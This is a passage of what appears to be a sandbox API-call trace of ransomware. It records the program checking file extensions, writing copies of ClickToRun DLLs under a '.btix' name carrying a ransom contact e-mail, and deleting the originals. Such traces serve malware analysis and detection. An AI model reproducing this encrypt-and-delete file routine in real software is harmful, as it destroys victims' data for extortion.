(lpString1=".ppt", lpString2=".dll") returned 1 [0054.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0054.925] lstrlenW (lpString=".zip") returned 4 [0054.925] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.925] lstrlenW (lpString=".rar") returned 4 [0054.925] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.925] lstrlenW (lpString=".bz2") returned 4 [0054.925] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.925] lstrlenW (lpString=".7z") returned 3 [0054.925] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0054.925] lstrlenW (lpString=".dbf") returned 4 [0054.925] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0054.925] lstrlenW (lpString=".1cd") returned 4 [0054.925] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0054.926] lstrlenW (lpString=".jpg") returned 4 [0054.926] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.926] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0054.926] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0054.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0054.926] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=19136) returned 1 [0054.926] CloseHandle (hObject=0x38c) returned 1 [0054.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0054.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0054.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0054.926] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.926] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0054.927] GetLastError () returned 0x0 [0054.927] ReadFile (in: hFile=0x38c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0054.940] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0054.941] ReadFile (in: hFile=0x38c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.941] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x114, lpOverlapped=0x0) returned 1 [0054.941] SetEndOfFile (hFile=0x2e0) returned 1 [0054.942] CloseHandle (hObject=0x2e0) returned 1 [0054.942] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.942] SetEndOfFile (hFile=0x38c) returned 1 [0054.943] CloseHandle (hObject=0x38c) returned 1 [0054.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0054.944] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0054.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0054.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0054.944] lstrlenW (lpString=".doc") returned 4 [0054.944] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.944] lstrlenW (lpString=".docx") returned 5 [0054.944] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.944] lstrlenW (lpString=".pdf") returned 4 [0054.944] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.944] lstrlenW (lpString=".xls") returned 4 [0054.944] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.944] lstrlenW (lpString=".xlsx") returned 5 [0054.944] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.944] lstrlenW (lpString=".ppt") returned 4 [0054.944] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0054.944] lstrlenW (lpString=".zip") returned 4 [0054.944] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.944] lstrlenW (lpString=".rar") returned 4 [0054.944] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.944] lstrlenW (lpString=".bz2") returned 4 [0054.944] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.944] lstrlenW (lpString=".7z") returned 3 [0054.944] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0054.945] lstrlenW (lpString=".dbf") returned 4 [0054.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0054.945] lstrlenW (lpString=".1cd") returned 4 [0054.945] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0054.945] lstrlenW (lpString=".jpg") returned 4 [0054.945] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0054.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0054.945] lstrlenW (lpString=".doc") returned 4 [0054.945] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.945] lstrlenW (lpString=".docx") returned 5 [0054.945] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.945] lstrlenW (lpString=".pdf") returned 4 [0054.945] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.945] lstrlenW (lpString=".xls") returned 4 [0054.945] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.945] lstrlenW (lpString=".xlsx") returned 5 [0054.945] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.945] lstrlenW (lpString=".ppt") returned 4 [0054.945] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0054.945] lstrlenW (lpString=".zip") returned 4 [0054.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.945] lstrlenW (lpString=".rar") returned 4 [0054.945] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.945] lstrlenW (lpString=".bz2") returned 4 [0054.945] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.945] lstrlenW (lpString=".7z") returned 3 [0054.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0054.945] lstrlenW (lpString=".dbf") returned 4 [0054.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0054.946] lstrlenW (lpString=".1cd") returned 4 [0054.946] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0054.946] lstrlenW (lpString=".jpg") returned 4 [0054.946] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.946] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0054.946] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0054.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0054.947] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=11616) returned 1 [0054.947] CloseHandle (hObject=0x2e0) returned 1 [0054.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0054.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0054.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0054.947] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.947] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.949] GetLastError () returned 0x0 [0054.949] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x2d60, lpOverlapped=0x0) returned 1 [0054.977] WriteFile (in: hFile=0x31c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0054.978] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.978] WriteFile (in: hFile=0x31c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x116, lpOverlapped=0x0) returned 1 [0054.978] SetEndOfFile (hFile=0x31c) returned 1 [0054.978] CloseHandle (hObject=0x31c) returned 1 [0054.979] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.979] SetEndOfFile (hFile=0x2e0) returned 1 [0054.980] CloseHandle (hObject=0x2e0) returned 1 [0054.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0054.980] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0054.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0054.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0054.980] lstrlenW (lpString=".doc") returned 4 [0054.980] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.980] lstrlenW (lpString=".docx") returned 5 [0054.981] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.981] lstrlenW (lpString=".pdf") returned 4 [0054.981] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.981] lstrlenW (lpString=".xls") returned 4 [0054.981] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.981] lstrlenW (lpString=".xlsx") returned 5 [0054.981] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.981] lstrlenW (lpString=".ppt") returned 4 [0054.981] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0054.981] lstrlenW (lpString=".zip") returned 4 [0054.981] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.981] lstrlenW (lpString=".rar") returned 4 [0054.981] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.981] lstrlenW (lpString=".bz2") returned 4 [0054.981] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.981] lstrlenW (lpString=".7z") returned 3 [0054.981] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0054.981] lstrlenW (lpString=".dbf") returned 4 [0054.981] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0054.981] lstrlenW (lpString=".1cd") returned 4 [0054.981] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0054.981] lstrlenW (lpString=".jpg") returned 4 [0054.981] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0054.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0054.981] lstrlenW (lpString=".doc") returned 4 [0054.981] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.981] lstrlenW (lpString=".docx") returned 5 [0054.982] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.982] lstrlenW (lpString=".pdf") returned 4 [0054.982] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.982] lstrlenW (lpString=".xls") returned 4 [0054.982] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.982] lstrlenW (lpString=".xlsx") returned 5 [0054.982] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.982] lstrlenW (lpString=".ppt") returned 4 [0054.982] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0054.982] lstrlenW (lpString=".zip") returned 4 [0054.982] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.982] lstrlenW (lpString=".rar") returned 4 [0054.982] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.982] lstrlenW (lpString=".bz2") returned 4 [0054.982] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.982] lstrlenW (lpString=".7z") returned 3 [0054.982] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0054.982] lstrlenW (lpString=".dbf") returned 4 [0054.982] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0054.982] lstrlenW (lpString=".1cd") returned 4 [0054.982] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0054.982] lstrlenW (lpString=".jpg") returned 4 [0054.984] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.984] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0054.984] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0054.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0054.984] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=22720) returned 1 [0054.984] CloseHandle (hObject=0x2e0) returned 1 [0054.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0054.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0054.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0054.985] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.985] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.985] GetLastError () returned 0x0 [0054.985] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x58c0, lpOverlapped=0x0) returned 1 [0055.029] WriteFile (in: hFile=0x31c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x58d0, lpOverlapped=0x0) returned 1 [0055.030] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.030] WriteFile (in: hFile=0x31c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x116, lpOverlapped=0x0) returned 1 [0055.030] SetEndOfFile (hFile=0x31c) returned 1 [0055.030] CloseHandle (hObject=0x31c) returned 1 [0055.031] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.031] SetEndOfFile (hFile=0x2e0) returned 1 [0055.032] CloseHandle (hObject=0x2e0) returned 1 [0055.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.032] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0055.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0055.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0055.033] lstrlenW (lpString=".doc") returned 4 [0055.033] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.033] lstrlenW (lpString=".docx") returned 5 [0055.033] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.033] lstrlenW (lpString=".pdf") returned 4 [0055.033] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.033] lstrlenW (lpString=".xls") returned 4 [0055.033] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.033] lstrlenW (lpString=".xlsx") returned 5 [0055.033] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.033] lstrlenW (lpString=".ppt") returned 4 [0055.033] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0055.033] lstrlenW (lpString=".zip") returned 4 [0055.033] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.033] lstrlenW (lpString=".rar") returned 4 [0055.033] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.033] lstrlenW (lpString=".bz2") returned 4 [0055.033] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.033] lstrlenW (lpString=".7z") returned 3 [0055.033] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0055.033] lstrlenW (lpString=".dbf") returned 4 [0055.033] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0055.033] lstrlenW (lpString=".1cd") returned 4 [0055.033] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0055.033] lstrlenW (lpString=".jpg") returned 4 [0055.034] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0055.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0055.034] lstrlenW (lpString=".doc") returned 4 [0055.034] lstrcmpiW (lpString1=".doc", 